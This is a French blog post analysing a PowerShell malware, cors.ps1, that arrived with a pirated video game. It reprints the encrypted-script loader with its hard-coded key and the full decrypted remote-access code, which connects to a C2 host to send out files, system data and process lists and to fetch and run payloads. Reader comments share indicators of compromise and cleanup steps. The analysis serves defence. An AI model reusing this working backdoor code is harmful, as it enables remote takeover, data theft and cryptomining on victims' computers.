Malware PowerShell Cors.ps1

Malware PowerShell Cors.ps1

Hello à tous, c’est la rentré et cette été je suis tombé sur un malware PowerShell Cors.ps1, plutôt rigolo, chez un pote. Depuis que je vous ai écrit un livre sur la Cybersécurité et PowerShell, je me suis dit que c’était un bon article pour la rentrée. L’avantage c’est que je peux vous le partager, d’autant que je n’ai pas trouvé trop de littérature dessus sur les sources habituelles et que le truc à pas l’air trop connus.

En terme de vecteur d’infection, cherchez pas, c’était l’installation d’un jeu vidéo piraté :-). Comme quoi, quand on vous le dit… C’est pas bien, toussa-toussa, vous êtes des grands garçon : vous faites ce que vous voulez. Le jeu piraté marchait bien, mais se mettait à ramer comme pas possible régulièrement, pas trop après un reboot et puis ça revenait au bout de 30/60min. Pas de symptômes sur le bureau, tous les graphe CPU/GPU était à zéro dans le gestionnaire de tâche. Un peu aléatoire, mais globalement son PC fonctionnait pas très bien depuis quelques temps.

Bref, je jette un oeil avec autoruns voir ce qui démarre en tâche plannifiée avec la machine et j’en sors vite deux bien cheloux :

  • Un script PowerShell cors.ps1 dans C:\Users\$user\AppData\Roaming\Webgard.
  • Un executable System.exe mais dans le même dossier Roaming\Logistic.

Bref, pas trop standard dans un Windows. Je vous laisse pas sur ce suspens et je vous donne de suite le script PowerShell en question :

function Execute-EncryptedScript($path) {
  trap { Write-Host -fore Red "You are not authorized to decrypt and execute this script"; continue }
  & {
    $raw = Get-Content $path
    $key = (convertto-securestring -string "4cwmytcVVcR79VvB" -asplaintext -force)
    $helper = New-Object system.Management.Automation.PSCredential("test", $key)
    $key = $helper.GetNetworkCredential().Password
    $secure = ConvertTo-SecureString $raw -key (([int[]][char[]]$key)[0..15]) -ea Stop
    $helper = New-Object system.Management.Automation.PSCredential("test", $secure)
    $plain = $helper.GetNetworkCredential().Password
    Invoke-Expression $plain
  }
}

Execute-EncryptedScript $ENV:AppData/Webgard/core.bin

Appréciez l’avertissement qui dit qu’on a pas le droit de déchiffrer, déjà. Ensuite, big up pour la variable $key qui fait l’effort de se stocker dans un Secure String mais qui donne la clé en dur au départ (genre planquée la un minimum quoi). Du coup et après cette rapide lecture, on se dit qu’il doit être intérréssant de récupérer le contenu du fichier core.bin.

Alors là, le script kiddie lambda se dit : « houlala, du chiffrement mais j’ai la clé. N’empêche que ca va piquer pour dev une fonction de dechiffrement sur un algo que je connais pas« . Bon en vrai il suffit de remplacer le Invoke-Expression par Write-host et voilà : ca vous écrira le script au lieu de l’exécuter… Voilà, voilà :-). Anti retro-ingénierie 0, antivirus/EDR bypass 1. Bref, voici le contenu de core.bin.

$spl = "<>"
$vn = "Test"
$sp= "&&&"

$hostname = "sysnod.duckdns.org"
$port = "9812"

$Path = $env:temp + "\"


$ScriptName = $MyInvocation.MyCommand.Name
$fullPathIncFileName = $MyInvocation.MyCommand.Definition

# object com
$WshShell = New-Object -comObject WScript.Shell
$Sh = New-Object -comObject Shell.Application
$Fs = New-Object -comObject Scripting.FileSystemObject


    try
    {


    $Client = New-Object -TypeName System.Net.Sockets.TcpClient
    $Client.Connect($hostname, $port)

    $tcpStream = $Client.GetStream()
    }
    catch
    {

        $_.Exception.Message
    }

function info {

    $mch = [environment]::Machinename
    $usr = [environment]::username
    $SerialNumber = $Fs.GetDrive("c:\").SerialNumber
    $SerialNumber = "{0:X}" -f $SerialNumber
    $HWD = $SerialNumber

    $wi = (Get-WmiObject Win32_OperatingSystem).Caption
    $wi = $wi + (Get-WmiObject Win32_OperatingSystem).OSArchitecture
    $wi =$wi.replace('64-bit',' x64').replace('32-bit',' x86').replace('?','e');
    $av = (Get-WmiObject -Namespace 'root/SecurityCenter2' -Class 'AntiVirusProduct').displayname;
    $nanav =""
    if ($av -eq $null)
    {$av = 'nan-av'}
    $e = $env:windir + '\Microsoft.NET\Framework\v2.0.50727\vbc.exe';
    if (test-path $e)
    {$nt = '.Net YES'}
    else
    {$nt= '.Net NO'};
        $cpu = (Get-WMIObject win32_Processor).Name;
        $gpu = (Get-WMIObject win32_videocontroller).Name;
    $u = 'PC' + $spl + $vn + '-' + $HWD+ $spl + $usr + $spl + $mch + $spl + $wi + $spl + $av + $spl + $nt + $spl + $cpu + $spl + $gpu + $spl + $sp;
     return $u

 }


Function getdriver{
     $fso = New-Object -Com "Scripting.FileSystemObject"
        foreach ($driv in $fso.drives ){
         if ($driv.isready -eq  $true  ){
            $drv = $drv + $driv.path + "|"
         }

         }
    return $drv
}

Function getfolder($dir) {
[System.IO.DirectoryInfo]$directInf = New-Object IO.DirectoryInfo($dir )
$frd = $dir + '<|>'
$folders = $directInf.GetDirectories()
 foreach($fd in $directInf.GetDirectories()){
 $frd += $fd.Name + "|" + "" + "|" + "Folder" + "|" + '<|>'

 }

$dInf = New-Object IO.DirectoryInfo($dir)

$fileEntries =[IO.FileInfo]
foreach( $fileEntries in $dInf.GetFiles("*.*"))
{

 $frd += $fileEntries.Name + "|" + $fileEntries.Length + "|" + "File" + "|" + '<|>'

}
return $frd
}
#=========================================================================================
Function process-m{
$ProcRunning =Get-Process
 foreach ($process in $ProcRunning)
    {

    $pd += $process.ProcessName+ "|" + $process.id + "|" + $process.path + '<|>'

 }
    return $pd
}

function CMDOS($cmd){
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class UserWindows {
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
}
"@
try {
$ActiveHandle = [UserWindows]::GetForegroundWindow()
$Process = Get-Process | ? {$_.MainWindowHandle -eq $activeHandle}
$Process | Select ProcessName, @{Name="concentr.exe";Expression=    {($_.MainWindowTitle)}}   
 } catch {
 Write-Error "Failed to get active Window details. More Info: $_"
 }
}

while($true) {



 if ($Client.Connected){
         if ($tcpStream.CanRead -And $Client.Available -ge 0 ){


                 $buffer = New-Object -TypeName System.Byte[] $Client.ReceiveBufferSize

                 $read = $tcpStream.Read($buffer, 0, $Client.ReceiveBufferSize)

                 $PP += [System.Text.Encoding]::Default.GetString($buffer, 0,$read)




                   If ($PP.Contains($sp)){

                          $T = $PP.split($spl)

                          $PP =$null
                   }


                 if ($T[0] -eq 'pc') {

                         $message = info

                         $data = [System.Text.Encoding]::Default.GetBytes($message)
                         $tcpStream.Write($data, 0, $data.Length)
                         $message = $null
                  }

                 if ($T[0] -eq 'cl') {

                        exit

                  }


                 if ($T[0] -eq 'dis') {

                         $tcpStream.Dispose()
                         $Client.Close()

                  }



                 if ($T[0] -eq 'opr'){

                         $proc = process-m

                         $data = [System.Text.Encoding]::ASCII.GetBytes('opr'+ $spl + $proc + $sp)
                         $tcpStream.Write($data, 0, $data.Length)
                         $proc = $null

                  }

                  if ($T[0] -eq 'prc'){

                         $proc = process-m

                         $data = [System.Text.Encoding]::ASCII.GetBytes('process'+ $spl + $proc + $sp)
                         $tcpStream.Write($data, 0, $data.Length)
                         $proc = $null

                  }

                  if ($T[0] -eq 'kpr') {


                        stop-process -id $T[2]

                  }

                  if ($T[0] -eq 'cmd'){


                        $data = [System.Text.Encoding]::ASCII.GetBytes('cmd'+ $spl + $sp)
                        $tcpStream.Write($data, 0, $data.Length)

                  }
                                  if ($T[0] -eq 'sh'){

                         $text = CMDOS($T[2])
                         $data = [System.Text.Encoding]::ASCII.GetBytes('sh'+ $spl + $text + $sp)
                         $tcpStream.Write($data, 0, $data.Length)
                         $text = $null
                  }

                  if ($T[0] -eq 'frm') {
                         $data = [System.Text.Encoding]::ASCII.GetBytes('frm'+ $spl + $sp)
                         $tcpStream.Write($data, 0, $data.Length)

                  }

                  if ($T[0] -eq 'drv') {
                         $drv = getdriver($T[2])

                         $data = [System.Text.Encoding]::ASCII.GetBytes('drv' + $spl + $drv + $spl + $sp)
                         $tcpStream.Write($data, 0, $data.Length)

                         $drv=$null

                  }

                  if ($T[0] -eq 'fld') {
                          $fld = getfolder($T[2])

                         $data = [System.Text.Encoding]::ASCII.GetBytes('fld'+ $spl + $fld + $spl + $sp)
                         $tcpStream.Write($data, 0, $data.Length)
                         $fld = $null
                  }


                  if ($T[0] -eq 'dwn') {

                         $content =[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes($T[2]))
                         $data = [System.Text.Encoding]::ASCII.GetBytes('dwn'+ $spl + $content + $spl + $sp)
                         $tcpStream.Write($data, 0, $data.Length)

                  }


                  if ($T[0] -eq 'runas') {

                    [Diagnostics.Process]::Start($T[2])


                  }


                  if ($T[0] -eq 'up') {

                        [System.IO.File]::WriteAllBytes($T[2], [Convert]::Frombase64String($T[4]))
                        $data = [System.Text.Encoding]::ASCII.GetBytes('uF1'+ $spl + $sp)
                        $tcpStream.Write($data, 0, $data.Length)
                        $T = $null
                  }



                  if ($T[0] -eq 'uns') {


                   exit

                  }


                  if ($T[0] -eq 'u1') {
                      $data = [System.Text.Encoding]::ASCII.GetBytes('u1'+ $spl + $sp)
                      $tcpStream.Write($data, 0, $data.Length)

                  }

                  if ($T[0] -eq 'up1') {

                      [System.IO.File]::WriteAllBytes($Path + $T[2], [Convert]::Frombase64String($T[4]))
                      [System.Diagnostics.Process]::Start($Path + $T[2])
                      $data = [System.Text.Encoding]::ASCII.GetBytes('uF1'+ $spl + $sp)
                      $tcpStream.Write($data, 0, $data.Length)

                  }
                  #
                  if ($T[0] -eq 'img') {

                     $content =[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes($T[2]))
                     $data = [System.Text.Encoding]::ASCII.GetBytes('img'+ $spl + $content + $spl + $sp)
                     $tcpStream.Write($data, 0, $data.Length)
                     $content=$null
                  }


                  if ($T[0] -eq 'rnf') {

                     Rename-Item $T[2] $T[4]
                  }


                  if ($T[0] -eq 'df') {

                     Remove-Item $T[2]
                  }

                  #...........
                  if ($T[0] -eq 'cvs') {
                     $data = [System.Text.Encoding]::ASCII.GetBytes('cvs'+ $spl + $sp)
                     $tcpStream.Write($data, 0, $data.Length)


                  }


         }else {
        $tcpStream.Dispose()
        $Client.Close()
        $Client = New-Object System.Net.Sockets.TcpClient($hostname,$port)
        $tcpStream = $Client.GetStream()
       $PP =$null
        $T = $null
         }


  }else {
    $tcpStream.Dispose()
    $Client.Close()
    $Client = New-Object System.Net.Sockets.TcpClient($hostname,$port)
    $tcpStream = $Client.GetStream()
   $PP =$null
    $T = $null
 }


Start-Sleep -m 5

 }

Et voilà, ce malware PowerShell Cors.ps1 vous donne un joli reverse shell de prise de controle en PowerShell. By the end, le truc est un peu decevant, y’a pas trop d’obfucation et le résultat vous installe un bête crypto-mineur GPU. Le seul truc que j’ai trouvé sympa avec ce crypto mineur GPU, c’est qu’il arrête le minage dès qu’il voit que le task mananger est démarré. Ce qui lui évite de se faire réperer et killer trop facilement. Par contre, si vous lancer un autre programme comme gpuz.exe vous verrez votre GPU qui bourrine à 100% comme un con (et oui je vous ai dit que ca venait d’un jeu piraté, on cible des gamers donc on mine sur le GPU)

Pour le nettoyage, vous pouvez juste virer les fichiers indiqué et désactiver les tâches plannifiées en question. Je n’ai vu d’autre trâces de persistence du malware. Un petit coup d’AV par dessus ne faisant jamais de mal

Niveau risque associé, je pense c’est assez « lambda » même si le Remote Shell permet effectivement de se promener sur le système, le niveau de technicité du script n’indique pas un attaquant d’un très haut niveau là (je vous laisse regarde l’extrait d’Emotet/PowerShell Empire dans mon bouquin en comparaison). Avec un vecteur d’infection par des jeux vidéos piratés. Je crains qu’il soit plus à la recherche de numéro de carte bleu sur votre bureau que de vos données hyper-sensible et votre base de mot de passe.

Bref, rien de foufou, mais ca m’a fait marrer un peu de tomber sur un malware PowerShell. Je vous ai laissé les IoC dans le corps de l’article. Je vous renvoi vers le poster find evil du SANS si vous cherchez des trucs pas normaux.

Et sur ce : Bonne rentrée et Geekez bien pour cette nouvelle année !

13 commentaires on “Malware PowerShell Cors.ps1

  1. Hello,

    Content de tomber sur ton post.
    J’ai eu la même chose et j’en ai fait un PDF explicatif, avec les commandes shells pour clean tout ça :

    FL_STUDIO_miner.pdf :
    httpx://drive.proton.me/urls/CXM45P3EDM#VrGgvVPobwyI

    miner explications.pdf :
    httpx://drive.proton.me/urls/CREA3BJTPC#qUD2ccN3tCNo

    Je voulais faire une vidéo explicative, mais je ne retrouve plus l’exe d’installation T-T.

    Bon courage à tous.

  2. Super article c’est ce que je cherchais ! Il semble que j’ai eu une variante hébergé sur un autre site. J’ai contacté Hostinger pour qu’ils supprime le site.

    Ma tâche planifiée était ‘\Microsoft\Windows\Bluetooth\UninstallDeviceTask’
    Et les fichiers dans AppData\Roaming\Winsoft et C:\windows\DlHost.exe

    Si ca peut aider.

    • Salut,

      J’ai eu le même cas que toi et il est possible que tu aies une autre tâche planifiée liée au winsoft\core.ps1, moi c’était un truc un peu bidon qui commençait par « MSI » qui executait le script via powershell à chaque lancement, en plus de l’autre tâche planifiée « Bluetooth\UninstallDeviceTask ». N’hésite pas à double checker pour être sûr, moi j’ai supprimé ces 2 tâches planifiées et les fichiers core.ps1, core.bin, mid.ps1, mid.bin et DlHost.exe.
      Ca m’apprendra à vouloir télécharger un photoshop cracké…

      Sur ce, bonne soirée !

  3. Hello,

    Déjà merci, j’ai enfin pu comprendre mon soucis. Ce qui m’a mis sur la piste, c’est mon gestionnaire des taches qui se fermait tout seul au bout de 20mn, du coup impossible de savoir ce qui faisait tourner à 100% mon gpu …

    Et j’ai trouvé ton article via ce mot clé : « sysnod.duckdns.org » qui est la connexion que bloque Malwarebites.

    Bref, très intéressant. Par contre je souhaiterai l’enlever, sachant que MB ne semble pas le faire automatiquement. Aurais-tu stp un logiciel, ou une astuce pour le faire, sachant qu’on ne va pas supprimer le powershell bien sur… Je ne trouve pas core.ps1 dans le démarrage ou le gestionnaire de tache, puisqu’il s’autokill à l’ouverture je pense.

    Merci par avance 😉 , ma facture d’électricité te remercie également

    • J’ai bien supprimé ceci : PowerShell cors.ps1 dans C:\Users\$user\AppData\Roaming\Webgard

      D’ailleurs Malwarebites ne me fait plus de détection sortante, donc je me suis dis que c’était bon. Pour autant, j’ai encore mon GPU qui s’active au bout de 15mn à 100% …

      Et je ne trouve rien dans le planificateur de tache … Que me manque-t-il ?

      Je continue mes recherches 😉

      ++

        • Hello, Good Job ! Et effectivement Talos Intelligence c’est probablement un peu plus complet et pro que mon blog… pas les même moyen aussi faut dire :’-D.
          J’aurai quand même la satisfaction d’avoir sortie mon article un an avant eux (take that Cisco :p) ! Et merci pour le lien, je vais aller lire ça !
          Effectivement, svshost.exe semble être un bon suspect vu le nom…^^ Content que tu es pu faire ton ménage. Si tu veux retrouver comment le fichier est lancé au démarrage, tu peux essayer de passer un coup d’Autoruns (Sysinternals).
          Maintenant que tu as le fichier, cherches le mécanisme de persistance associés !

  4. Merci pour l’info et l’analyse. J’avais remarqué depuis quelque temps une fenêtre PowerShell qui ouvrait et fermait rapidement, après avoir inspecté le planificateur de tâches, j’ai trouvé cor.ps1 et Google m’a amené ici. C’est maintenant désactivé!

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.